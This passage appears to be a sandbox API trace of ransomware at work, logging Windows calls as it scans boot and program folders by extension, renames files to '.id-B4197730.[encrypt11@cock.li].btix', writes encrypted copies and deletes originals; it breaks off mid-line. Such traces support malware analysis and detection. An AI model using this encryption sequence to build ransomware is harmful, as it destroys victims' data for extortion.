[0127.335] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0127.335] lstrlenW (lpString=".ppt") returned 4 [0127.335] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0127.335] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0127.335] lstrlenW (lpString=".zip") returned 4 [0127.335] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0127.335] lstrlenW (lpString=".rar") returned 4 [0127.335] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0127.335] lstrlenW (lpString=".bz2") returned 4 [0127.335] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0127.335] lstrlenW (lpString=".7z") returned 3 [0127.335] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0127.335] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0127.335] lstrlenW (lpString=".dbf") returned 4 [0127.335] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0127.336] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0127.336] lstrlenW (lpString=".1cd") returned 4 [0127.336] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0127.336] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0127.336] lstrlenW (lpString=".jpg") returned 4 [0127.336] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0127.336] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0127.336] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0127.336] lstrlenW (lpString=".doc") returned 4 [0127.336] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0127.336] lstrlenW (lpString=".docx") returned 5 [0127.336] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0127.336] lstrlenW (lpString=".pdf") returned 4 [0127.336] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0127.336] lstrlenW (lpString=".xls") returned 4 [0127.336] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0127.336] lstrlenW (lpString=".xlsx") returned 5 [0127.336] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0127.336] lstrlenW (lpString=".ppt") returned 4 [0127.336] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0127.336] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0127.336] lstrlenW (lpString=".zip") returned 4 [0127.336] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0127.336] lstrlenW (lpString=".rar") returned 4 [0127.336] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0127.336] lstrlenW (lpString=".bz2") returned 4 [0127.336] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0127.336] lstrlenW (lpString=".7z") returned 3 [0127.336] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0127.336] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0127.336] lstrlenW (lpString=".dbf") returned 4 [0127.336] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0127.336] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0127.336] lstrlenW (lpString=".1cd") returned 4 [0127.337] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0127.337] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0127.337] lstrlenW (lpString=".jpg") returned 4 [0127.337] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0127.337] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0127.337] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0127.337] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0127.337] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=77664) returned 1 [0127.337] CloseHandle (hObject=0x384) returned 1 [0127.337] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0127.337] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0127.337] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.337] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0127.337] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0127.337] lstrlenW (lpString=".doc") returned 4 [0127.337] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0127.337] lstrlenW (lpString=".docx") returned 5 [0127.337] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0127.337] lstrlenW (lpString=".pdf") returned 4 [0127.338] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0127.338] lstrlenW (lpString=".xls") returned 4 [0127.338] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0127.338] lstrlenW (lpString=".xlsx") returned 5 [0127.338] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0127.338] lstrlenW (lpString=".ppt") returned 4 [0127.338] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0127.338] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0127.338] lstrlenW (lpString=".zip") returned 4 [0127.338] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0127.338] lstrlenW (lpString=".rar") returned 4 [0127.338] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0127.338] lstrlenW (lpString=".bz2") returned 4 [0127.338] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0127.338] lstrlenW (lpString=".7z") returned 3 [0127.338] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0127.338] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0127.338] lstrlenW (lpString=".dbf") returned 4 [0127.338] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0127.338] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0127.338] lstrlenW (lpString=".1cd") returned 4 [0127.338] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0127.338] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0127.338] lstrlenW (lpString=".jpg") returned 4 [0127.338] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0127.338] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0127.338] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0127.338] lstrlenW (lpString=".doc") returned 4 [0127.338] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0127.338] lstrlenW (lpString=".docx") returned 5 [0127.338] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0127.338] lstrlenW (lpString=".pdf") returned 4 [0127.338] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0127.338] lstrlenW (lpString=".xls") returned 4 [0127.338] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0127.338] lstrlenW (lpString=".xlsx") returned 5 [0127.339] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0127.339] lstrlenW (lpString=".ppt") returned 4 [0127.339] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0127.339] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0127.339] lstrlenW (lpString=".zip") returned 4 [0127.339] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0127.339] lstrlenW (lpString=".rar") returned 4 [0127.339] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0127.339] lstrlenW (lpString=".bz2") returned 4 [0127.339] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0127.339] lstrlenW (lpString=".7z") returned 3 [0127.339] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0127.339] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0127.339] lstrlenW (lpString=".dbf") returned 4 [0127.339] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0127.339] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0127.339] lstrlenW (lpString=".1cd") returned 4 [0127.339] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0127.339] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0127.339] lstrlenW (lpString=".jpg") returned 4 [0127.339] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0127.339] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0127.339] lstrlenW (lpString="bootspaces.dll") returned 14 [0127.339] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0127.340] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=95648) returned 1 [0127.340] CloseHandle (hObject=0x384) returned 1 [0127.340] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0127.340] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0127.340] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.340] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0127.340] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0127.340] lstrlenW (lpString=".doc") returned 4 [0127.340] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0127.340] lstrlenW (lpString=".docx") returned 5 [0127.340] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0127.340] lstrlenW (lpString=".pdf") returned 4 [0127.340] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0127.340] lstrlenW (lpString=".xls") returned 4 [0127.340] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0127.340] lstrlenW (lpString=".xlsx") returned 5 [0127.340] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0127.341] lstrlenW (lpString=".ppt") returned 4 [0127.341] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0127.341] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0127.341] lstrlenW (lpString=".zip") returned 4 [0127.341] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0127.341] lstrlenW (lpString=".rar") returned 4 [0127.341] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0127.341] lstrlenW (lpString=".bz2") returned 4 [0127.341] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0127.341] lstrlenW (lpString=".7z") returned 3 [0127.341] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0127.341] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0127.341] lstrlenW (lpString=".dbf") returned 4 [0127.341] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0127.341] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0127.341] lstrlenW (lpString=".1cd") returned 4 [0127.341] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0127.341] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0127.341] lstrlenW (lpString=".jpg") returned 4 [0127.341] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0127.341] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0127.341] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0127.341] lstrlenW (lpString=".doc") returned 4 [0127.341] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0127.341] lstrlenW (lpString=".docx") returned 5 [0127.341] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0127.341] lstrlenW (lpString=".pdf") returned 4 [0127.341] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0127.341] lstrlenW (lpString=".xls") returned 4 [0127.341] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0127.341] lstrlenW (lpString=".xlsx") returned 5 [0127.341] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0127.341] lstrlenW (lpString=".ppt") returned 4 [0127.341] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0127.341] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0127.341] lstrlenW (lpString=".zip") returned 4 [0127.342] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0127.342] lstrlenW (lpString=".rar") returned 4 [0127.342] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0127.342] lstrlenW (lpString=".bz2") returned 4 [0127.342] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0127.342] lstrlenW (lpString=".7z") returned 3 [0127.342] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0127.342] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0127.342] lstrlenW (lpString=".dbf") returned 4 [0127.342] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0127.342] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0127.342] lstrlenW (lpString=".1cd") returned 4 [0127.342] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0127.342] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0127.342] lstrlenW (lpString=".jpg") returned 4 [0127.342] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0127.342] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0127.342] lstrlenW (lpString="bootvhd.dll") returned 11 [0127.342] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0127.342] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=99744) returned 1 [0127.342] CloseHandle (hObject=0x384) returned 1 [0127.342] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0127.342] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0127.343] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.343] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0127.343] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0127.343] lstrlenW (lpString=".doc") returned 4 [0127.343] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0127.343] lstrlenW (lpString=".docx") returned 5 [0127.343] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0127.343] lstrlenW (lpString=".pdf") returned 4 [0127.343] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0127.343] lstrlenW (lpString=".xls") returned 4 [0127.343] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0127.343] lstrlenW (lpString=".xlsx") returned 5 [0127.343] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0127.343] lstrlenW (lpString=".ppt") returned 4 [0127.343] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0127.343] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0127.343] lstrlenW (lpString=".zip") returned 4 [0127.343] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0127.343] lstrlenW (lpString=".rar") returned 4 [0127.343] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0127.343] lstrlenW (lpString=".bz2") returned 4 [0127.343] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0127.343] lstrlenW (lpString=".7z") returned 3 [0127.343] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0127.348] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0127.349] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0127.351] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0127.352] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0127.368] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b1860, Size=0x2000) returned 0x5b1860 [0127.368] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0128.094] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0128.112] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0128.163] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x4425680, Size=0x4000) returned 0x4425680 [0128.163] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0129.125] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=274474) returned 1 [0129.125] CloseHandle (hObject=0x3f0) returned 1 [0129.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 0x20 [0129.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0129.126] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0129.126] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0129.126] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0129.126] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0129.126] GetLastError () returned 0x0 [0129.127] ReadFile (in: hFile=0x3f0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x4302a, lpOverlapped=0x0) returned 1 [0129.163] WriteFile (in: hFile=0x40c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x43030, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x43030, lpOverlapped=0x0) returned 1 [0129.168] ReadFile (in: hFile=0x3f0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0129.168] WriteFile (in: hFile=0x40c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xe2, lpOverlapped=0x0) returned 1 [0129.168] SetEndOfFile (hFile=0x40c) returned 1 [0129.168] CloseHandle (hObject=0x40c) returned 1 [0129.168] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0129.168] SetEndOfFile (hFile=0x3f0) returned 1 [0129.178] CloseHandle (hObject=0x3f0) returned 1 [0129.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0129.328] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 1 [0129.621] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0129.621] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0129.621] lstrlenW (lpString=".doc") returned 4 [0129.621] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1 [0129.621] lstrlenW (lpString=".docx") returned 5 [0129.621] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1 [0129.621] lstrlenW (lpString=".pdf") returned 4 [0129.621] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1 [0129.621] lstrlenW (lpString=".xls") returned 4 [0129.621] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1 [0129.621] lstrlenW (lpString=".xlsx") returned 5 [0129.621] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1 [0129.621] lstrlenW (lpString=".ppt") returned 4 [0129.621] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1 [0129.621] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0129.621] lstrlenW (lpString=".zip") returned 4 [0129.621] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1 [0129.621] lstrlenW (lpString=".rar") returned 4 [0129.621] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1 [0129.621] lstrlenW (lpString=".bz2") returned 4 [0129.621] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1 [0129.621] lstrlenW (lpString=".7z") returned 3 [0129.621] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0129.621] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0129.621] lstrlenW (lpString=".dbf") returned 4 [0129.621] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1 [0129.621] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0129.621] lstrlenW (lpString=".1cd") returned 4 [0129.621] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1 [0129.621] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0129.621] lstrlenW (lpString=".jpg") returned 4 [0129.621] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1 [0129.621] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0129.621] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0129.621] lstrlenW (lpString=".doc") returned 4 [0129.621] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1 [0129.622] lstrlenW (lpString=".docx") returned 5 [0129.622] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1 [0129.622] lstrlenW (lpString=".pdf") returned 4 [0129.622] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1 [0129.622] lstrlenW (lpString=".xls") returned 4 [0129.622] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1 [0129.622] lstrlenW (lpString=".xlsx") returned 5 [0129.622] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1 [0129.622] lstrlenW (lpString=".ppt") returned 4 [0129.622] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1 [0129.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0129.622] lstrlenW (lpString=".zip") returned 4 [0129.622] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1 [0129.622] lstrlenW (lpString=".rar") returned 4 [0129.622] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1 [0129.622] lstrlenW (lpString=".bz2") returned 4 [0129.622] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1 [0129.622] lstrlenW (lpString=".7z") returned 3 [0129.622] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0129.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0129.622] lstrlenW (lpString=".dbf") returned 4 [0129.622] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1 [0129.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0129.622] lstrlenW (lpString=".1cd") returned 4 [0129.622] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1 [0129.622] lstrlenW 